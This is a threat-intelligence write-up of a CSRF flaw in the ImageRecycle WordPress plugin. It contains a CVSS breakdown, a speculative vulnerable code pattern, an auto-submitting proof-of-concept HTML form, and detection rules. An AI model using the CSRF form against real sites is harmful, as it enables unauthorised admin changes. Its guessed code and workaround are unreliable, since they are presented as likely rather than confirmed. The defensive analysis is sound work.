CVE-2024-1336

Executive Summary

CVE-2024-1336 is a Cross-Site Request Forgery (CSRF) vulnerability affecting the ImageRecycle pdf & image compression plugin for WordPress, up to and including version 3.1.13. The vulnerability resides in the optimizeAllOn function, which lacks proper nonce validation. This allows an unauthenticated attacker to forge a request that, when triggered by an authenticated administrator (e.g., via a malicious link), can modify image optimization settings. The CVSS score is 4.3 (Medium), with a low EPSS probability of 0.0%, indicating limited active exploitation in the wild. No public exploit code or patch is currently available.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress plugin repository and can be installed directly from the WordPress admin dashboard. Since no patch is available, users must rely on manual mitigation or disabling the plugin. The lack of a patch increases supply chain risk for sites that depend on this plugin for image optimization.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
• Base Score: 4.3 (Medium)
• Attack Vector: Network (AV:N) – The attack is performed remotely.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: None (PR:N) – The attacker does not need authentication.
• User Interaction: Required (UI:R) – The victim must click a link or visit a malicious page.
• Scope: Unchanged (S:U) – The vulnerability does not affect other components.
• Confidentiality Impact: None (C:N) – No data is exposed.
• Integrity Impact: Low (I:L) – The attacker can modify image optimization settings.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: Medium. The requirement for user interaction reduces the immediate risk, but the lack of a patch and the potential for settings manipulation (e.g., disabling compression) could lead to performance degradation or resource abuse.

Deep Dive & Mechanics

The vulnerability is a classic CSRF in the WordPress plugin ImageRecycle. The optimizeAllOn function is responsible for enabling or disabling automatic image optimization. In vulnerable versions, this function does not verify a nonce (a one-time token) to ensure the request originated from the legitimate admin interface. An attacker can craft a malicious HTML page or email that, when the admin is logged into WordPress, sends a forged POST request to the plugin’s AJAX endpoint. The request modifies the plugin’s settings without the admin’s consent.

Root Cause: Missing or incorrect nonce validation in the optimizeAllOn function. The function likely uses check_ajax_referer() incorrectly or not at all.

Attack Flow:

1. Attacker identifies a WordPress site using ImageRecycle plugin version <= 3.1.13.
2. Attacker crafts a malicious link or embeds a hidden form in a webpage.
3. Attacker tricks an authenticated admin into clicking the link or visiting the page.
4. The admin’s browser sends a forged request to wp-admin/admin-ajax.php with action optimizeAllOn and desired settings.
5. The plugin processes the request and modifies the optimization settings (e.g., disables compression).

Vulnerable vs. Patched Code

Since no patch is available, we can only analyze the vulnerable code pattern. The vulnerable function likely looks like this:

Vulnerable Code (PHP):

add_action('wp_ajax_optimizeAllOn', 'optimizeAllOn_callback');
function optimizeAllOn_callback() {
    // Missing nonce check
    $value = $_POST['value'];
    update_option('imagerecycle_optimize_all', $value);
    wp_die();
}

Patched Code (Hypothetical):

add_action('wp_ajax_optimizeAllOn', 'optimizeAllOn_callback');
function optimizeAllOn_callback() {
    // Proper nonce verification
    if (!wp_verify_nonce($_POST['_wpnonce'], 'imagerecycle_optimize_nonce')) {
        wp_die('Invalid nonce');
    }
    $value = sanitize_text_field($_POST['value']);
    update_option('imagerecycle_optimize_all', $value);
    wp_die();
}

The patch would add a nonce check using wp_verify_nonce() and sanitize the input.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with ImageRecycle plugin version <= 3.1.13.
• An authenticated admin user (victim).
• Attacker can host a malicious HTML page or send a crafted link.

Exploit Steps:

1. Create a malicious HTML page that auto-submits a form to the target WordPress site.
2. Host the page on an attacker-controlled server.
3. Send the link to the admin (e.g., via email or social engineering).
4. When the admin visits the page, the form submits a POST request to wp-admin/admin-ajax.php with the action optimizeAllOn and desired parameters.

Example Malicious HTML:

<html>
<body>
<form action="http://target-site.com/wp-admin/admin-ajax.php" method="POST" id="csrf-form">
    <input type="hidden" name="action" value="optimizeAllOn">
    <input type="hidden" name="value" value="0"> <!-- Disable optimization -->
</form>
<script>document.getElementById('csrf-form').submit();</script>
</body>
</html>

Blue Team (Detection & Defense)

Detection:

• Monitor for unexpected POST requests to admin-ajax.php with action optimizeAllOn from non-admin IPs or without a valid referer.
• Look for spikes in requests to the plugin’s AJAX endpoints.
• Use Web Application Firewall (WAF) rules to block requests missing a nonce parameter.

Defense:

• Disable the plugin until a patch is released.
• Implement CSRF tokens manually if possible (custom code).
• Use WordPress security plugins that add CSRF protection.
• Educate administrators about phishing and malicious links.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /wp-admin/admin-ajax.php with action=optimizeAllOn and no _wpnonce parameter.
  • Referer header pointing to an external domain (attacker’s site).
• File IOCs:
  • Modified wp_options table entry for imagerecycle_optimize_all (value changed unexpectedly).
• Log IOCs:
  • WordPress debug log entries showing AJAX calls without nonce.

Detection Engineering

YARA Rule

rule CVE_2024_1336_CSRF_ImageRecycle {
    meta:
        description = "Detects vulnerable ImageRecycle plugin files with missing nonce in optimizeAllOn"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-1336"
    strings:
        $func = "optimizeAllOn_callback" nocase
        $ajax = "wp_ajax_optimizeAllOn" nocase
        $nonce = "wp_verify_nonce" nocase
        $no_nonce = "update_option" nocase
    condition:
        $func and $ajax and $no_nonce and not $nonce
}

Sigma Rule

title: CVE-2024-1336 CSRF Attempt on ImageRecycle Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects CSRF attempts targeting the ImageRecycle plugin's optimizeAllOn function
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        c-uri: '/wp-admin/admin-ajax.php'
        cs-uri-query|contains: 'action=optimizeAllOn'
    condition: selection
falsepositives:
    - Legitimate admin actions (if nonce is present)
level: medium

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2024-1336 CSRF Attempt on ImageRecycle Plugin";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"action=optimizeAllOn"; http_client_body;
    sid:1000001;
    rev:1;
    reference:cve,2024-1336;
    classtype:attempted-recon;
    priority:2;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released by the vendor.
2. Implement a Web Application Firewall (WAF) rule to block requests to admin-ajax.php that contain action=optimizeAllOn without a valid nonce.
3. Monitor logs for suspicious AJAX requests.

Long-term Fix:

• Apply the official patch when released by ImageRecycle.
• Update to the latest version of the plugin (if a patched version becomes available).
• Consider using alternative image optimization plugins that are actively maintained.

Workaround:

• Add custom code to the theme’s functions.php to enforce nonce validation for the optimizeAllOn action:

add_action('wp_ajax_optimizeAllOn', 'custom_optimizeAllOn_callback', 1);
function custom_optimizeAllOn_callback() {
    if (!wp_verify_nonce($_POST['_wpnonce'], 'imagerecycle_optimize_nonce')) {
        wp_die('CSRF detected');
    }
}

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Analyst